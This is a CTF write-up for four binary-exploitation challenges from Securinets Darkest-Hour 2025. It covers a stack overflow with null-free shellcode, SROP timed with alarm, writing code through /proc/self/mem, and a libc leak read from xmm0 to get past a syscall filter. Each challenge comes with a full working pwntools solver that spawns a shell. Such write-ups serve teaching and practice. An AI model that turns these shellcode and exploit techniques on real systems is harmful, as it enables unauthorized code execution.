Securinets Darkest-Hour CTF 2025 | PWN writeups
challenges explained + solvers
Warmup
int main(){
setup();
printf("%p\n",__environ);
char buf[0x50];
char c;
int i=0;
while(1) {
c=getchar();
if (c==0 | c=='\n')
break;
buf[i++]=c;
}
return 0;
}
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No
i thought it was a straight forward retshellcode with no null bytes . a stack leak was given with the environ leak . so i didnt even test it prior the ctf xD . After some time i realised that when overflowing the stack , we’re bound to overwrite the ‘i’ counter variable , i liked the idea so i kept it .
Plan :
- write an execve(‘/bin/sh’,0,0) shellcode with no null bytes . we can accomplish with avoiding instructions like
mov rsi,0withxor rsi,rsi. the nullbyte of ‘/bin/sh’ string will be replaced with an ‘a’ in our input but will be xor’ed with an ‘a’ using our shellcode so we can null it out and we get a prope ‘/bin/sh’ - overflow into the counter variable and we write the return address offset which is 0x68 . se next time ,
i=0x68 - now we are at the return address , we simply write our buffer address which we calculate from the
environ leak - GG
Solver :
from pwn import *
context.arch='amd64'
file=ELF("main")
p=process("./main")
buf=int(p.recvline(),16)-0x188
log.info(hex(buf))
shellcode=asm('''
xor rsi,rsi
xor rdx,rdx
mov al,0x3b
lea rdi,[rsp-0x70+0x47]
xor BYTE PTR [rdi],0x61
lea rdi,[rsp-0x70+0x40]
syscall
''').ljust(0x40,b"c")+b"/bin/sha" # the xor line replaces the 'a' in /bin/sha iwith null byte as we are not allowed to write it
p.send(shellcode.ljust(92,b"a"))
p.send(p8(0x68)) # this goes into the counter so next time we write , we write at offset 0x68 which is the offset of return address
p.sendline(p64(buf))
p.interactive()
SuperRapperOPeration
tldr : srop challenge , syscall gadget was given , no other useful gadget tho
you can read about the technique here
int main(){
setup();
alarm(60);
char buff[0x100];
read(0,buff,0x110);
return 0;
}
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Recon :
- Pie disabled : means we can pivot stack to BSS
- no libc given , challenge hints on SROP so thats mostly the plan
- no
pop raxor any rax related and useful gadget so we have to somehow control rax .
Plan (the intended way) :
- the intended way to control rax was to use the
alarmfunction right when there is 0xf (which is the sigreturn sytem call number) seconds left in the alarm . read about its return value here link - we do some pivoting so we can set up the sigreturn frame and write “/bin/sh” at a known location in BSS
- we pivot then return to our ropchain that looks like this : alarm + syscall + sigframe
- concering the sigframe , we can ignore a l large number of useless registers as they dont concern us .
Solver :
from pwn import *
from time import sleep
context.arch = 'amd64'
def debug():
if local<2:
gdb.attach(p,'''
b* 0x0000000000401179
c
''')
############### files setup ###############
local=len(sys.argv)
exe=ELF("./main")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
nc="nc localhost 5000"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]
############### remote or local ###############
if local>1:
p=remote(host,port)
else:
p=process([exe.path])
############### helper functions ##############
def send():
pass
############### main exploit ###############
main=exe.symbols["main"]
#debug()
rbp=0x0000000000404000+0xe00
p.send(b"a"*0x100+p64(rbp)+p64(main+31))
sleep(0.5)
alarm=0x0000000000401040
leave=0x00000000004011bb
syscall=0x0000000000401179
frame = SigreturnFrame()
frame.rax=0x3b
frame.rdi=0x404d78
frame.rsi=0
frame.rdx=0
frame.rip=syscall
frame.r15=u64("/bin/sh\x00")
#print(frame)
#print(len(frame))
_rop=p64(alarm)+p64(syscall)+bytes(frame)[:0xe8]
sleep(60-0xf-1) # tried and it works ; the -1 for remote
p.send(p64(rbp)+_rop.ljust(0xf8,p8(0))+p64(rbp-0x100)+p64(leave))
p.interactive()
write_syndrom
int main(){
setup();
char file_path[0x40]={0};
puts("give file name");
fgets(file_path,sizeof(file_path),stdin);
long b=strcspn(file_path,"\n");
file_path[b]=0;
if (access(file_path, W_OK) == 0) {
int fd =open(file_path,O_WRONLY);
if (fd<=0){
puts("[-] couldnt open file for some reason");
exit(-1);
}
unsigned long position=0;
puts("now give position where to write");
scanf("%llu%*c",&position);
if (lseek(fd,position,SEEK_SET)<0){
puts("[-] lseek failed for some reason");
exit(-1);
}
printf("you will write up to 16 bytes at the postion %x\nnow give your payload\n",position);
char payload[16]={0};
if (write(fd,payload,read(0,payload,16))<=0) {
puts("[-] write() error");
exit(-1);
}
close(fd);
return 0;
}
else{
puts("[-] file doesnt exist or isnt writable");
exit(-1);
}
return 0;
}
tldr : you can open any file you want and write 16 bytes to it . RCE needed
in the midst of the ctf , i gave a hint about proc files . reading this proc fs , we notice an interesting file mem : Memory held by this process . looking further into this specific file, we find this link, it shows that we can read and write to this file , and it will be just like writing to the memory of the process , one thing more interesting about it is that we can write in non writeable memory .
Plan :
- open ‘/proc/self/mem’ , overwrite some code of main , typically the one right after write with a shellcode of our own .
- we only have 16 bytes shellcode , so we need to write the string /bin/sh beforehand , the intended way was to write it right after the prompted filename , seperated by null byte .
- try to write a very minimalistic shellcode so it fits into 16 bytes
Solver :
from pwn import *
context.arch='amd64'
#p=process("./chal")
p=remote("localhost",7004)
p.sendline(b"/proc/self/mem\x00"+b"/bin/sh\x00")
p.sendline(str(0x00000000004013c5).encode())
shellcode='''
lea rdi, [rsp+0x2f]
xor esi,esi
xor edx,edx
mov eax,0x3b
syscall
'''
p.send(asm(shellcode))
p.interactive()
DHlam
char shellcode[]="H1\xc0H1\xdbH1\xc9H1\xd2H1\xe4H1\xedH1\xf6H1\xffM1\xc0M1\xc9M1\xd2M1\xdbM1\xe4M1\xedM1\xf6M1\xff";
int sanitize(char * code){
for (int i=0;i<0x500;i++){
if (memcmp(code+i,"\x0f\x05",2)==0) return 0;
if (memcmp(code+i,"\xcd\x80",2)==0) return 0;
if (memcmp(code+i,"\x0f4",2)==0) return 0;
}
return 1;
}
void setup(){
setbuf(stdin,0);
setbuf(stdout,0);
}
int main(){
setup();
puts("dahdes fel dhalma !!");
char * code=mmap((void*)0x13371337,0x1000,7,MAP_ANONYMOUS|MAP_PRIVATE,-1,0);
memcpy(code,shellcode,sizeof(shellcode));
read(0,(char*)code+sizeof(shellcode)-1,0x100);
if (!sanitize(code+sizeof(shellcode)-1)){
puts("rabi yehdi !!");
exit(-1);
}
mprotect(code,0x1000,PROT_READ|PROT_EXEC);
if (arch_prctl(0x1002, 0) != 0) {
perror("Failed to clear FS");
}
((void (*)()) code) ();
return 0;
}
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
tldr : read shellcode place it in r-x memory then execute it .
Notes :
- before executing the user shellcode , it nulls out all registers (or did I , xd)
- our shellcode is filtered from these instructions : syscall - sysenter , int 0x80 which are the backbone of any code execution .
- even fs register is cleared (usually fs points somewhere in tls which can lead to libc ) , gs registered is nulled out by default .
- our shellcode is in r-x region , so it cant mutate and overwrite itself as memory isnt rightable
Solution :
- use one of the 128 bits register to try and find any leak so we can eventually get to libc .
- the one i tested out was xmm0 which had libc value in its lower 64 bits .
- now that we have libc we calculate libc base then set rdi to ‘/bin/sh’ pointer then jump to a syscall gadget in libc (you can also jump to system)
- GG
Solver :
from pwn import *
from time import sleep
context.arch = 'amd64'
def debug():
if local<2:
gdb.attach(p,'''
b* main+290
c
''')
############### files setup ###############
local=len(sys.argv)
exe=ELF("./main")
libc=ELF("./libc.so.6")
nc="nc localhost 7000"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]
############### remote or local ###############
if local>1:
p=remote(host,port)
else:
p=process([exe.path])
############### helper functions ##############
def send():
pass
############### main exploit ###############
binsh=next(libc.search("/bin/sh"))
system=libc.symbols["system"]
syscall=0x00000000000264a3
shellcode=f'''
movq rbx,xmm0
sub rbx,0x1d7643
mov rdi , rbx
add rdi , {binsh}
mov rcx ,rbx
add rcx, {syscall}
xor rsi,rsi
xor rdx,rdx
mov rax,0x3b
jmp rcx
'''
shellcode=asm(shellcode)
#debug()
p.sendline(shellcode)
p.interactive()